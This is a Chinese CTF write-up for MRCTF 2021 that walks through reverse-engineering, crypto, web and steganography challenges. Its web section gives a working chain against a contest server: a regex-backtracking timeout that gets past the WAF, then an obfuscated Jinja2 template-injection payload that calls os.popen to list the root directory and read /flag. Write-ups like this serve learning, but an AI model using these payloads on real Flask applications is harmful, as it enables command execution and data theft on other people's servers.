引言
2021 MRCTF
比赛时间
2021-04-10 9:00 - 2021-4-11 21:00
比赛规则
单人解题赛
前几天看北邮 天璇Merak 战队整了个招新赛,喵喵也来随便玩玩好了!
什么鬼招新赛嘛,怎么巨大多 check in 题目,然而喵喵并不能 check in……
喵呜,题目还是比较顶的,喵喵确实也不会做什么,大哭。
RE
Real_CHECKIN
直接丢进 IDA 发现只有一个 entry,看来是加壳了。
丢进 FUPX 里一看,果然加了 UPX 壳。
脱一下壳,再扔进 IDA。
tvjdvez7D0vSyZbnzv90mf9nuKnurL8YBZiXiseHFq==
直接拿去 base64 解码发现是乱码。看来是魔改的 base64 了。
发现编码表里 大小写反过来了……草!
于是大小写反过来,改一下编码表,再拿去 base64 解码就能拿 flag 了。
MRCTF{wElc0Me_t0_MRCTF_2o21!!!}
Extensive Reading:
Crypto
friendly_sign-in
ez sign-in, just come and get the flag!
nc node.mrctf.fun 10007Mirrors:
- host, port = ‘nairw.top’, 4800
源码
from Crypto.Util.number import *
from hashlib import sha512
from random import choices
from flag import flag
import string
Bits = 512
length = len(flag) * 8
def proof_of_work() -> bool:
alphabet = string.ascii_letters + string.digits
head = "".join(choices(alphabet, k=8))
print(f'POW: SHA512("{head}" + ?) starts with "11111"')
tail = input().strip()
message = (head + tail).encode()
return sha512(message).hexdigest().startswith("11111")
def check_ans(_N, _x) -> bool:
check = 0
for i in range(len(_N)):
check += _N[i] * _x[i]
return check == 0
def main():
if not proof_of_work():
return
print("Welcome to MRCTF2021, enjoy this friendly sign-in question~")
flag_bits = bin(bytes_to_long(flag.encode()))[2:]
N = [getPrime(Bits) for _ in range(length)]
print('N =', N)
X = []
for i in range(length):
x = [int(input().strip()) for _ in range(length)]
if x in X:
print('No cheat!')
return
if x.count(0) > 0:
print('No trivial!')
return
if not check_ans(N, x):
print('Follow the rule!')
return
X.append(x)
print('your gift:', flag_bits[i])
main()
其实这个思路很简单,只需要生成
- 不重复
- 每个数都不为0
- 对应位置数字的乘积累加和为0
这样的序列就可以了。
那么怎么生成呢?
其实只需要任意 (length/2) 对数字交换一下,正负号交替一下,就能实现乘积累加和为 0 了。
那怎么不重复呢?
喵喵想了有一段时间,到最后一想,直接随机产生下标,把映射关系存一下,要是已经存在了冲突了就重新产生就完事了呀!
另外有个麻烦的地方就是交互吧,输入 224*224 个数字,跑起来都挺久的……
Exp:
from pwn import *
from Crypto.Util.number import *
from hashlib import sha512
from random import choices
import string
from tqdm import tqdm
from pwnlib.util.iters import mbruteforce
sh = remote('nairw.top', 4800)
context.log_level = 'debug'
def proof_of_work(sh):
sh.recvuntil("SHA512(\"")
head = sh.recv(8) # .decode('utf-8')
print("head:", head)
sh.recvuntil('with \"11111\"')
for a in tqdm(range(0x30, 0x7f)):
for b in range(0x30, 0x7f):
for c in range(0x30, 0x7f):
for d in range(0x30, 0x7f):
rest = chr(a) + chr(b) + chr(c) + chr(d)
m = (head.decode('utf-8') + rest).encode("utf-8")
if sha512(m).digest().hex().startswith("11111"):
print('\nrest:', rest)
sh.sendline(rest)
# sh.recvuntil('again...God bless you get it...')
return
# proof = mbruteforce(lambda x: sha512((head + x).encode('utf-8')).hexdigest().startswith(
# "11111"), string.ascii_letters + string.digits, length=4, method='fixed')
# print('rest:', proof)
# sh.sendline(proof)
def generate_idx(length):
"""
随机生成对换的下标 dict
"""
idx_list = list(range(length))
idx_result = {}
for _ in range(length//2):
while True:
r = choices(idx_list)[0]
t = choices(idx_list)[0]
if r != t:
# print(r, t)
# 一半正 一半负
idx_result[r] = [t, 1] # 正负号
idx_result[t] = [r, -1]
idx_list.remove(r)
idx_list.remove(t)
break
return idx_result
def main():
proof_of_work(sh)
sh.recvuntil("question~")
sh.recvuntil("N = ")
tmp = sh.recvuntil("]")
tmp = tmp.decode('utf-8').strip()
tmp = eval(tmp)
print('====================')
print(tmp)
print("flag len:", len(tmp) // 8)
# 28 bits
N = tmp
length = len(N)
print(length)
idx_history = []
flag_bits = ""
for i in range(length):
idx = generate_idx(length)
while idx in idx_history:
idx = generate_idx(length)
idx_history.append(idx)
for j in range(length):
try:
t = N[idx[j][0]] * idx[j][1]
except IndexError:
print(idx, i, j)
raise Exception
payload = str(t)
sh.sendline(payload)
sh.recvuntil('your gift: ')
x = sh.recv(1).decode('utf-8')
print(f"=======> flag_{i+1}: {x}")
flag_bits += x
with open('flag.txt', 'a', encoding='utf-8') as f:
f.write(f"{i+1}: {x} ")
f.write(f"{flag_bits}\n")
print(flag_bits)
# flag_bits = "1001101010100100100001101010100010001100111101101100101010000000011001101111001010111110110001101101000001100110110001101101011010111110011000101101110010111110111000001110010001100000110001001101100001100110110110101111101"
flag_int = int(flag_bits, 2)
flag = long_to_bytes(flag_int)
print("=====> flag:", flag)
if __name__ == '__main__':
main()
最后得到的 flag bits 为
1001101010100100100001101010100010001100111101101100101010000000011001101111001010111110110001101101000001100110110001101101011010111110011000101101110010111110111000001110010001100000110001001101100001100110110110101111101
转换为 bytes
MRCTF{e@3y_ch3ck_1n_pr0bl3m}
Web
wwwafed_app
I bought a WAF for my vulnerable app, and I think it’s unbreakable now.
node.mrctf.fun:15000
/waf
源码:
import re,sys
import timeout_decorator
@timeout_decorator.timeout(5)
def waf(url):
# only xxx.yy-yy.zzz.mrctf.fun allow
pat = r'^(([0-9a-z]|-)+|[0-9a-z]\.)+(mrctf\.fun)$'
if re.match(pat,url) is None:
print("BLOCK",end='') # 拦截
else:
print("PASS",end='') # 不拦截
if __name__ == "__main__":
try:
waf(sys.argv[1])
except:
print("PASS",end='')
可以注意到如果超时了的话 except
里也是 PASS。
另外发现 server 是 gunicorn,源码也是 python,盲猜是 flask 模板注入。
发现貌似可以正则回溯超时+空行绕过。
xadsfadsfadsfas.dfasdf-asdf-adsfadsf.lajds.-92341012dsfasf8.5.mrctf.fun
{{161*1651}}
eGFkc2ZhZHNmYWRzZmFzLmRmYXNkZi1hc2RmLWFkc2ZhZHNmLmxhamRzLi05MjM0MTAxMmRzZmFzZjguNS5tcmN0Zi5mdW4Ke3sxNjEqMTY1MX19
GET /api/spider/eGFkc2ZhZHNmYWRzZmFzLmRmYXNkZi1hc2RmLWFkc2ZhZHNmLmxhamRzLi05MjM0MTAxMmRzZmFzZjguNS5tcmN0Zi5mdW4Ke3sxNjEqMTY1MX19
返回
读 /
{{""["\x5f\x5fcla""ss\x5f\x5f"]["\x5f\x5fba""se\x5f\x5f"]["\x5f\x5fsubcla""sses\x5f\x5f"]()[408]["\x5f\x5fin""it\x5f\x5f"]["\x5f\x5fglo""bals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls -al /")["read"]()}}
http://node.mrctf.fun:15000/api/spider/eGFkc2ZhZHNmYWRzZmFzLmRmYXNkZi1hc2RmLWFkc2ZhZHNmLmxhamRzLi05MjM0MTAxMmRzZmFzZjguNS5tcmN0Zi5mdW4Ke3siIlsiXHg1Zlx4NWZjbGEiInNzXHg1Zlx4NWYiXVsiXHg1Zlx4NWZiYSIic2VceDVmXHg1ZiJdWyJceDVmXHg1ZnN1YmNsYSIic3Nlc1x4NWZceDVmIl0oKVs0MDhdWyJceDVmXHg1ZmluIiJpdFx4NWZceDVmIl1bIlx4NWZceDVmZ2xvIiJiYWxzXHg1Zlx4NWYiXVsiXHg1Zlx4NWZidWlsdGluc1x4NWZceDVmIl1bIlx4NWZceDVmaW1wb3J0XHg1Zlx4NWYiXSgib3MiKVsicG9wZW4iXSgibHMgLWFsIC8iKVsicmVhZCJdKCl9fQ==
访问'xadsfadsfadsfas.dfasdf-asdf-adsfadsf.lajds.-92341012dsfasf8.5.mrctf.fun
total 88
drwxr-xr-x 1 root root 4096 Apr 11 11:55 .
drwxr-xr-x 1 root root 4096 Apr 11 11:55 ..
-rwxr-xr-x 1 root root 0 Apr 11 10:05 .dockerenv
dr-xr-xr-x 1 root root 4096 Apr 11 10:05 app
drwxr-xr-x 1 root root 4096 Mar 30 23:04 bin
drwxr-xr-x 2 root root 4096 Mar 19 23:44 boot
drwxr-xr-x 5 root root 340 Apr 11 10:05 dev
drwxr-xr-x 1 root root 4096 Apr 11 10:05 etc
-rw-r--r-- 1 root root 2 Apr 11 11:55 flag
drwxr-xr-x 2 root root 4096 Mar 19 23:44 home
drwxr-xr-x 1 root root 4096 Mar 30 23:04 lib
drwxr-xr-x 2 root root 4096 Mar 29 00:00 lib64
drwxr-xr-x 2 root root 4096 Mar 29 00:00 media
drwxr-xr-x 2 root root 4096 Mar 29 00:00 mnt
drwxr-xr-x 2 root root 4096 Mar 29 00:00 opt
dr-xr-xr-x 507 root root 0 Apr 11 10:05 proc
drwx------ 1 root root 4096 Apr 11 10:05 root
drwxr-xr-x 3 root root 4096 Mar 29 00:00 run
drwxr-xr-x 1 root root 4096 Mar 30 23:03 sbin
drwxr-xr-x 2 root root 4096 Mar 29 00:00 srv
dr-xr-xr-x 13 root root 0 Apr 11 10:05 sys
drwxrwxrwt 1 root root 4096 Apr 11 10:05 tmp
drwxr-xr-x 1 root root 4096 Mar 29 00:00 usr
drwxr-xr-x 1 root root 4096 Mar 29 00:00 var
'失败!
whoami ==> root
读 flag
xadsfadsfadsfas.dfasdf-asdf-adsfadsf.lajds.-92341012dsfasf8.5.mrctf.fun
{{""["\x5f\x5fcla""ss\x5f\x5f"]["\x5f\x5fba""se\x5f\x5f"]["\x5f\x5fsubcla""sses\x5f\x5f"]()[408]["\x5f\x5fin""it\x5f\x5f"]["\x5f\x5fglo""bals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("cat /flag")["read"]()}}
MRCTF{eeeeeeeeeeeeeeeeeeeeez_NFA-WAF_8ypaS5!}
读一下题目源码 start.py
from flask import Flask, request,render_template,url_for
from jinja2 import Template
import requests,base64,shlex,os
app = Flask(__name__)
@app.route("/")
def index():
return render_template('index.html')
@app.route("/waf")
def wafsource():
return open("waf.py").read()
@app.route("/source")
def appsource():
return open(__file__).read()
@app.route("/api/spider/<url>")
def spider(url):
url = base64.b64decode(url).decode('utf-8')
safeurl = shlex.quote(url)
block = os.popen("python3 waf.py " + safeurl).read()
if block == "PASS":
try:
req = requests.get("http://"+url,timeout=5)
return Template("访问成功!网页返回了{}字节数据".format(len(req.text))).render()
except:
return Template("访问{}失败!".format(safeurl)).render()
else:
return Template("WAF已拦截,请不要乱输入参数!").render()
if __name__ == "__main__":
app.run(host="0.0.0.0",port=5000,debug=True)
啊 有 /source
源码泄露的啊((下次做题先扫一扫好了
讲个笑话,这题打的时候最开始还读到有 flag 的,然后发现内容是
1
。再一读发现没东西了。再一看根目录,flag 你去哪了……
问了问出题人
噢对,root 权限 xswl!
Extensive Reading:
ez_larave1
根据修改时间,看一看最近修改的文件。
Laravel 版本用的是 5.7.29,查了查发现有个 RCE。
然后这里的 PendingCommand.php
把 __destruct()
里的 run
给注释掉了。
之后再参考下面的几篇
找个能执行代码的地方,执行这个 run
就好。
(后面再来复现,咕咕咕
Misc
plane
This plane cannot fly~~~
Hint:
- plane:721x-402y+9110z-1197483=0
![(153, 15, 120),(51, 104, 132),(229, 38, 115)](CTF_2021MRCTF/(153, 15, 120),(51, 104, 132),(229, 38, 115).png)
图片好花啊,看了一下发现在 blue plane 第7层存在奇怪的东西。
然而提取出来啥也看不出。
根据题目 hint,估计是要根据 721x-402y+9110z-1197483=0 这个空间平面来划分图像空间,一半是黑,一半是白。
按照题目本意的话,应该是需要根据 (153, 15, 120), (51, 104, 132), (229, 38, 115) 这三个坐标来求出所给的平面的,不过即使给出来了当时还是没整出来((
写个脚本。
# coding: utf-8
"""
MRCTF2021 Misc plane
MiaoTony
"""
from PIL import Image
im = Image.open('(153, 15, 120),(51, 104, 132),(229, 38, 115).png')
rgb_im = im.convert('RGB')
print(rgb_im.size)
# (400, 400)
width = rgb_im.width
height = rgb_im.height
im2 = Image.new('RGB', rgb_im.size)
for j in range(height):
for i in range(width):
r, g, b = rgb_im.getpixel((i, j))
if 721*r-402*g+9110*b-1197483 > 0:
im2.putpixel((i, j), (255, 255, 255))
# im2.show()
# im2.save('test1.png')
得到一张图片,和 blue plane 7 很类似。(就是模仿 blue plane 7 确定的黑白)
放大来看是这样的。
图片 纵向方向上 可以发现分了很多层,猜想是把二进制的 ASCII 编码到了黑白像素中了。
根据最右边纵向可以估计是 10000110,不对,反过来,01100001,正好是 ASCII 里的 a
。于是需要上下反过来解码。
而且还是从上到下,一列有50个字符,每个字符从上到下是低位到高位。
(复现的时候其实这里试了好多次才发现的……
然后写个脚本解码吧。(接上面的)
data = ''
for i in range(width):
cnt = 0
x = ''
for j in range(height):
if im2.getpixel((i, j))[0] == 0:
x = '1' + x
else:
x = '0' + x
cnt += 1
if cnt % 8 == 0:
# print(x)
ch = chr(int(x, 2))
# print(ch)
data += ch
x = ''
print(data)
with open('result.txt', 'w', encoding='utf-8') as f:
f.write(data)
处理得到
Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSV01WbDNXa1JTVjAxV2JETlhhMUpUVmpBeFYySkVUbGhoTVVwVVZtcEJlRll5U2tWVWJHaG9UVlZ3VlZadGNFSmxSbGw1VTJ0V1ZXSkhhRzlVVmxaM1ZsWmFkR05GU214U2JHdzFWVEowVjFaWFNraGhSemxWVm14YU0xWnNXbUZrUjA1R1UyMTRVMkpIZHpGV1ZFb3dWakZhV0ZOcmFHaFNlbXhXVm0xNFlVMHhXbk5YYlVaclVqQTFSMVV5TVRSVk1rcElaSHBHVjFaRmIzZFdha1poVjBaT2NtRkhhRk5sYlhoWFZtMHhORmxWTUhoWGJrNVlZbFZhY1ZadGRHRk5SbFowWlVaT1ZXSlZjRWRaTUZaM1ZqSktWVkpZWkZwV1JWcHlWVEJhVDJOc2NFaGpSbEpUVmxoQ1dsWXhXbE5TTWxGNVVtdGthbEp0VWxsWmJGWmhZMnhXY1ZKdFJsUlNiR3cxVkZaU1UxWnJNWEpqUld4aFUwaENTRlpxU2tabFZsWlpXa1p3YkdFelFrbFhXSEJIVkRKU1YxWnVVbWhTYXpWeldXeG9iMWRHV25STlNHUnNVakJzTkZVeWRHdFhSMHBJVld4c1dtSkhhRlJXTUZwVFZqSkdSbFJzVG1sU2JrSmFWMnhXWVZReFdsaFRiRnBZVmtWd1YxbHJXa3RTUmxweFVWaG9hMVpzV2pGV01uaGhZVWRGZUdOR2JGaGhNVnBvVmtSS1QyTXlUa1phUjJoVFRXNW9WVlpHWTNoaU1rbDRWMWhvV0dKRk5WVlVWM1J6VGtaVmVXUkhkRmhTTUhCSlZsZDRjMWR0U2toaFJsSlhUVVp3VkZacVNrZFNiRkp6Vkcxc1UySnJTbUZXTW5oWFdWWlJlRmRzYUZSaVJuQlpWbXRXZDFZeGJISlhhM1JUVW14d2VGVldhRzloTVZwelYycEdWMDF1YUdoWlZXUkdaVWRPUjJKR2FHaE5WbkJ2Vm10U1MxUXlUWGxVYTFwaFVqSm9WRlJYTlc5V1ZscEhXVE5vYVUxcmJEUldNV2h2VjBkS1JrNVdWbFZXTTFKNlZHdGFWbVZYVWtoa1JtaFRUVWhDU2xac1pEUmpNV1IwVTJ0a1dHSlhhR0ZVVnpWdlYwWnJlRmRyWkZkV2EzQjZWa2R6TVZkR1NsWmpSV3hYWWxoQ1RGUnJXbEpsUm1SellVWlNhRTFzU25oV1Z6QjRUa2RHUjFaWVpHaFNWVFZWVlcxNGQyVkdWblJOVldSV1RXdHdWMWxyVW1GWFIwVjRZMGhLV2xaWFVrZGFWV1JQVTBVNVYxcEhhR2hOU0VKMlZtMTBVMU14VVhsVmEyUlVZbXR3YjFWcVNtOVdSbXhaWTBaa2JHSkhVbGxhVldNMVlWVXhXRlZyYUZkTmFsWlVWa2Q0YTFOR1ZuTlhiRlpYWWtoQ1NWWkdVa2RWTVZwMFVtdG9VRll5YUhCVmJHaERUbXhrVlZGdFJtcE5WMUl3VlRKMGExZEhTbGhoUjBaVlZucFdkbFl3V25KbFJtUnlXa1prVjJFelFqWldhMlI2VFZaWmQwMVdXbWxsYTFwWVdXeG9RMU14VWxkYVJWcHNVbTFTV2xkclZURldNVnB6WTBaV1dGWXpVbkpXVkVaelZqRldjMWRzYUdsV1ZuQlFWa1phWVdReVZrZFdXR3hyVWtWS1dGUldXbmRsVm10M1YyNWtXRkl3VmpSWk1GSlBWakpHY2xkcmVGZGhhM0JRVlRGa1MxSXhjRWRhUms1WFYwVktNbFp0TVRCVk1VMTRWVmhzVlZkSGVGWlpWRVozWWpGV2NWUnJUbGRTYlhoYVdUQmFhMWRHV25OalJteGFUVVpWTVZsV1ZYaGpiVXBGVld4a1RsWXlhREpXTVZwaFV6RkplRlJ1VG1GU2JGcFlXV3RhZDA1c1draGxSMFphVm0xU1IxUnNXbUZWUmxwMFlVWlNWVlpYYUVSVk1uaGhZekZ3UlZWdGNFNVdNVWwzVmxSS01HRXhaRWhUYkdob1VqQmFWbFp0ZUhkTk1XeFdWMjVrVTJKSVFraFdSM2hUVlRKRmVsRnFWbGRTTTJob1ZrUktSMVl4VG5WVmJFSlhVbFJXV1ZaR1l6RmlNV1JIWWtoR1ZHRXhjSE5WYlRGVFYyeGtjbFpVUmxkTlZuQjZXVEJhVjFkR1dYcFZia3BYVmtWYWVsWnFSbGRqTVdSellVZHNWMVp1UWxGV2ExcGhXVmRSZVZaclpGZFhSM2h5Vld0V1MxZEdVbGRYYm1Sc1ZtMTBNMVl5Tld0WFJrbDNWbXBTV2sxR1NsQldha3BIWTJ4a2NtVkdaR2hoTTBKUlZsUkdhMU14U1hoalJXUmhVbXMxV0ZZd1ZrdE5iRnAwVFZSQ1ZrMVZNVFJXVm1oelZsWmtTR1ZHV2xwV1JWb3pXV3BHVjJOV1VuSlViR1JUWWxob05WWnRNREZoTVZsNFYyNU9hbEpGU21oV2JHUk9UVlphV0dNemFGaFNiRm94V1RCYWExUnNXWGxoUkVwWFlXdEtjbFY2Umt0amF6VlhXa1phYVZKc2NGbFdSbEpMWWpGT1YxZHJhR3hTTUZwWVZGZDRTMU5XV2xoa1J6bG9UVlZzTlZsVmFFTldiVXBJWVVWT1lWSkZXbWhaZWtaM1VsWldkR05GTlZkTlZXd3pWbXhTUzAxSFJYaGFSV2hVWWtkb2IxVnFRbUZXYkZwMFpVaGtUazFYZUZkV01qVnJWVEpLU1ZGcmFGZFNNMmhVVmxSS1JtVnNSbkZXYkdSVFRUSm9iMVpyVWt0U01WbDRWRzVXVm1KRlNsaFZiRkpYVjFaYVIxbDZSbWxOVjFKSVdXdG9SMVpIUlhoalNFNVdZbFJHVkZZeWVHdGpiRnBWVW14a1RsWnVRalpYVkVKaFZqRmtSMWRZY0ZaaWEzQllWbXRXWVdWc1duRlNiR1JxVFZkU2VsbFZaSE5XTVZwMVVXeEdWMkV4Y0doWFZtUlNaVlphY2xwR1pGaFNNMmg1VmxkMFYxTXhaRWRWYkdSWVltMVNjMVp0TVRCTk1WbDVUbGQwV0ZKcmJETldiWEJUVjJzeFIxTnNRbGRoYTNCSVdUSjRhMk50VmtkYVJUVlhZbXRLU2xZeFVrcGxSazE0VTFob2FsSlhhSEJWYlRGdlZrWmFjMkZGVGxSTlZuQXdWRlpTUTFack1WWk5WRkpYWWtkb2RsWXdXbXRUUjBaSFlVWndhVmRIYUc5V2JURTBZekpOZUdORmFGQldiVkpVV1d0V2QxZHNXa2hsUjNCUFZteHNORll5TlU5aGJFcFlZVVpzVjJFeFZYaGFSM2h6VmpGYVdXRkhjR2xXV0VKSFZteGtOR0V4VW5OWFdHeG9Va1Z3V0ZsWGRFdGpiRlkyVW10MGFtRjZWbGhYYTFwcllWWktjMk5HYkZkU2JFcElWWHBCTVdNeFpISmhSM1JUVFVad1dWZFhlR0ZaVm1SWFYyeG9hMUo2Ykc5VVZsWjNUVVpzVmxkc1RsZFdiSEJaV1ZWV1UxWnJNWFZoUjJoYVpXdGFNMVZzV2xka1IwNUdUbFprVGxaWGQzcFdiWGhUVXpBeFNGSllhR0ZTVjJoVldXdGtiMkl4Vm5GUmJVWlhZa1p3TUZwVmFHdFVhekZZWlVaa1YwMXFWbkpXVkVwTFUxWkdjbHBHVms1V2JGVjRWMVphWVZNeFpGZFNiR3hoVW0xb2NGVnRlSGRpTVZweVZXdDBVMDFXYkRSV1Z6VkxWMGRLUjFOdVFsZGlSbkF6VmpGYVlWSXhiRFpTYld4T1ZqRktTVmRYZEc5U01WcElVbGhvYWxORk5WZFpiRkpIVmtaWmVXVkhkR3BpUm5CV1ZXMTRhMVJzV25WUmFscFlWa1ZLYUZacVJtdFNNV1JaWTBaYWFXRXpRbGxXYlhSWFdWZFdjMWR1UmxOaVIxSnhWRlprVTJWc2JGWmFTRTVYVFZad01WVlhlRWRXTWtWNFkwZG9XRlp0VWxOYVZscGhZMnh3UjFwR2FGTk5NbWcxVm14a01GWXhUWGhhUldSV1lrZFNXVmx0TVZOak1WcDBUVlJDVGsxV2JEVlViR1F3VjBaS2NtSkVUbGRpV0VKVVZqSnplRkl4VG5OUmJHUk9ZV3RhU0Zkc1dtRldNazV6WTBWb1UySkhVazlVVnpGdlUyeFplRlZyY0d4U2F6RTBWVEZvYjJGc1NsaGhTRUpXWWxSR2RsWnJXbUZqTWtaR1ZHeFNUbFp1UVhkV1JscFRVVEZhY2sxV1drNVdSa3BZV1d0a2IyUnNXWGRYYlhSVVVqQmFTRmxyV25kaFZtUklZVWM1VjJKVVJUQlpla3BQWXpKT1JtRkdRbGROTUVwVlYxZDBiMUV3TlVkWGJGWlVWMGRTVUZacVFuZFRWbFY1WkVjNVYySlZjRWxhVldSdlZqSktTRlZyT1ZWV2JIQjZWbXBHWVZkWFJraGpSMnhYVjBWS1NGWnRlR3RPUjBWNFZXNU9XRmRIZUc5VmExWjNWMFpTVjFkdVpHaFNiRmt5VlcxMGQySkdTbk5UYWtaWFVucEdTRlpVU2t0U01rNUhZa1pvVjAweFNtOVhhMUpDVFZkTmVGcElTbWhTTTJoVVZGVmFkMkZHV25STlNHaFdUVlUxV0ZZeU5WTmhNVW8yWWtjNVZWWnNXbnBVYkZwelZtMUdSbFJzWkdsV1dFSktWMVpXVjFReGJGZFRhMXBZWW10d1dGbFhkR0ZoUm5CR1ZsUldWMDFXY0hsVWJGcHJZVmRGZDFkWWNGZGlXR2h4V2tSQmVGWXhVbGxoUmxwWVVqSm9XbGRYTVhwTlZscFhZa2hLWVZKNmJGaFphMXAzWld4WmVVNVhkRlZoZWtaWVdUQm9jMVl3TVhGU2EyaGFWak5vYUZreU1VOVNWa1owVW14T1YwMVZXWHBXYlhoVFV6RktkRlp1VGxOaVIzaG9WVzB4YjJOR1ZuUmxTR1JwVFZkU1dGWlhkREJWTURGWFlrUlNWMUo2VmxoV2JHUkxWMGRHUms5V1ZsZGxhMW95Vm1wR1lXRXhXWGhXYmtwaFVqTlNUMWxVUm5kVFZscHhVMnBTVjAxV1ZqVlZNblJyWVd4T1JrNVdaRnBpUmtwSVZtdGFVMVl4WkhOWGJYaFhUVVJSZVZaWE1UUmlNVlY1VWxod1VtSlZXbGhXYlRGT1pVWnNjVkpzY0d4U2JWSjRWako0UzJGSFNrWmpSMmhZVm0xUmQxZFdXbk5XTWs1SFYyeG9hVkl4U25oV1JtUXdXVlpKZUZWWWFGaGlXRkp2VldwR1lXVnNXWGxqUjBaWFRVUkdXVlpXYUd0WFJscDBWV3hPWVZac2NHaFpNbmgzVWpGd1IyRkdUazVOYldjeFZtMTRhMDFHV1hoVVdHaGhVbGRTVjFsclpGTlhWbXgwVFZaT2FrMVdjREJhVldoUFZERmFkVkZzWkZwV1YxRjNWakJhU21ReVRrWmhSbkJPVW01Q01sWnFTbnBsUms1SFZtNVdXR0pIVWs5WlYzUmhVMFprYzFkdFJsZE5helY2V1RCV2IxVXlTa2hWYkdoVlZteGFNMVpYZUdGak1WWnlXa2RvVGxaVVJUQldWRVp2WWpKR2MxTnNhRlppVjJoWFdXeG9UbVZHV1hkWGJIQnJUVlp3ZVZwRlZURmhWa3AxVVZoa1YxSnNjRlJWVkVaaFkyc3hWMWRyTlZkU2EzQlpWbTB3ZUdJeVZuTlhiazVZWWxoU1ZWVnFSbUZUUmxsNVpVaGtWMDFWY0ZoWmFrNTNWMFpaZWxGcmFGZGhhM0JRVm1wR1YyUldUbk5XYld4VFRWVndWbFl4WkRSaU1rbDNUbFprV0dKc1NrOVZhMVpoWWpGU1YxZHVUazlTYkd3MVZHeFZOV0ZIU2taalJXUldUV3BHZGxacVNrdFRSbFp5VDFaV1YySklRbTlXYWtKclZHMVdkRkpyWkdoU2F6VndWVzB3TlU1R1dYaFZhMDVhVmpCV05GWlhOVTlYUm1SSVpVYzVWbUV4V2pOV01GcHpWMGRTUm1SSGNHbFNiR3Q1VmxjeE1FMUhSblJTYWxwWFlrZG9XVmxVUm5kaFJteFhWMnQwYWsxck5VaFphMXByVlRKS1JtTkZNVmhXTTBKSVZrUkdXbVZHY0VsVGJXaFRUVEpvVlZaR1ZtRmtNV1JYVjJ0a1lWSkdTbFZVVmxVeFYwWlplV1ZIT1doTlZXOHlXV3RqTlZaV1duTlhhazVWVmxad2VsWnRlR3RqTVZKeldrWmthVk5GU2xwV01WSkRZVEZKZUZkc1pGaGlhelZ4VldwS2IxbFdjRmhrUjBaT1RWWmFlbFl5ZUd0aE1VbDNUbFZrVldKR2NISldSM2hoVjBkUmVtTkdaR2xYUjJoVlZsaHdRbVZHVGtkVWJHeHBVbXMxYjFSWGVFdFdiR1JZVFZod1RsWnNjRmhaYTJoTFdWWktObUpHYUZwaE1YQXpXbGQ0V21WVk5WaGtSbFpvWld0YVdWZFVRbTlqTVZsM1RWaEdVMkV5YUdGV2FrNXZZVVpyZVUxVk9WTldhMW93VlcxNFQxWXdNVlpYV0hCWFlsaG9WRlY2Umt0a1JscDFWR3hPYVZJemFHOVdWekI0WWpKT1IxWnVVbXhUUjFKd1ZGWmtVMWRHV2xoa1JFSldUVVJHV0ZsclVsTldNVW8yVm14b1YySkhVa3hXTUdSSFVtczVWMVpzWkd4aE1XOTVWbTF3UjFsWFJYaFhXR2hYWW10d2FGVnFUbE5VTVd4VlVtNWtWRlpzY0hoVk1uQlRWakF4VjFacVZsWk5ibEp5V1ZkNFQxSnJOVmRhUm5CcFVtdHdTVlp0ZEdGVk1WbDRXa2hPV0dKWWFGaFVWVkpTWlZaYVdFMVVVbWhOVmtwNlZqSTFWMVZ0Um5OalJteFhZVEZhVEZsVldtRmpWa3AwWkVaT1RsWXhTWGhXYTJRMFZUSkdSazFZVW1oU2VteFlWbXBPVTFkR1pGZFhiazVYVFdzMVNGWXlNVWRWTVdSSFUyeGFWMkpVUmpaVVZtUlhZekpLUjFkdFJsTmxiWGhYVjFab2QxSXhXWGhoTTJSWVlsVmFXRlJYZEhkVFZscElZMFpPVjFZd1ZqVldWM2hQV1ZaYWMyTkhhRnBOYm1nelZXcEdkMUl5UmtkVWF6Vk9ZbGRqZUZadE1UUmhNbEY0VWxob2FWSnRhRlpaVkVwVFYwWnNkR1ZGZEdwTlZsWXpWMnRhVDJGck1WaGxTR3hYVFc1b2NsWkVSbUZrVmtaeldrWndWMVl4UmpOV2FrSmhVMjFSZVZScldtaFNia0pQVlcwMVEwMXNXbkZUYm5Cc1VtczFTVlZ0ZEdGaVJrcDBWVzA1V2xaRldqTlpha1poVjBVeFZWVnRhRTVoZWxWM1ZtMHhNR0V4YkZkVGJGWlhZa2RvWVZsc2FGTlVSbFY1WlVad2JGSnNXbmxaTUdRMFZUSkdObEpVUWxkV1JWcDJXV3BLUjJNeFRuTmhSbHBwVmpKb1dGZFhkR0ZUTVdSSFYydFdVMkpIVW5GVVYzUmhVakZhU0dWR1RsVmlSbkF4VlZab2ExWXhTbk5qUmxKV1ZrVmFhRmt5YzNoV01XUnlUbFprVTJFelFscFdNV1F3WVRKSmVWVnVUbGhYUjFKWldXeG9VMVpXVm5GUmJVWlVVbTE0VjFZeU5XdGhSbHAwVld0c1dsWlhUVEZXYWtwTFZsWktWVkZzY0d4aE0wSlFWMnhXYTFReFNuUlNhMlJTWWtkU2NGWnRkSGRXYkZsNFdrUkNWMDFzUmpSWGEyaFBWMGRGZVZWc2JGcGlSMmhFVmxWYVlXTldSblZhUmxKWFlrWlpNVmRyVm1wT1ZsbDVVMnhhYWxKWGVHaFdiR1JUWkd4YWNWTnJkRlJTYkZwNVZERmFWMVl5U2tsUmFscFhZbGhDU0ZkV1dtdFhSa3B5V2tkb1UyRjZWbmRXVnpCM1RsVTFSMWRZYUZaaE1EVmhWbXBDVjA1R1dsaE9WVGxZVW0xU1NWcFZZelZXYlVWNFYycE9WMDFHY0hwV01HUlRVbTFTU0dOSGJGTmlSM1ExVm14amQyVkZNVWRYV0dST1ZtMVNjVlZyVm1GV01WSllUbGM1VTFKc2NIaFZNblF3VmtaYWNsZHFSbGhoTVhCeVdWWmFhMUl4VG5OaVJtUnBWa1ZKTUZac1kzaFdNVWw0WTBWc1YySkZOWEJWYkdoRFpERmFkR1ZIUm10TmExcElWakkxVTFSc1drWlRia1pWVmxaS1dGWXdXbUZrUlRWWFZHMW9UbFpYT0hsWFYzUmhZVEZhZEZOc2JHaFRTRUpXV1d0YWQyVnNXblJOVldSVFlrWktlbGRyWkhOV01XUkdVMnQwVjAxV2NGaFdha1pTWlVkS1IxcEdVbWhOV0VKYVYxY3hNR1F4WkVkaVJtaHJVakJhYjFWdE5VTlNNVnB6Vld4a1YwMUVSbGhaTUdoelZsZEtSMk5JU2xwV2JWSkhXa1JHYTFkWFRrZGFSMnhZVWpKb05GWXlkRk5SYlZaSFYxaG9WbUpIZUc5VmJURnZZakZTV0UxWE9WZGlSMUpaV2tWa01HRlZNWEppUkZKWFlsUld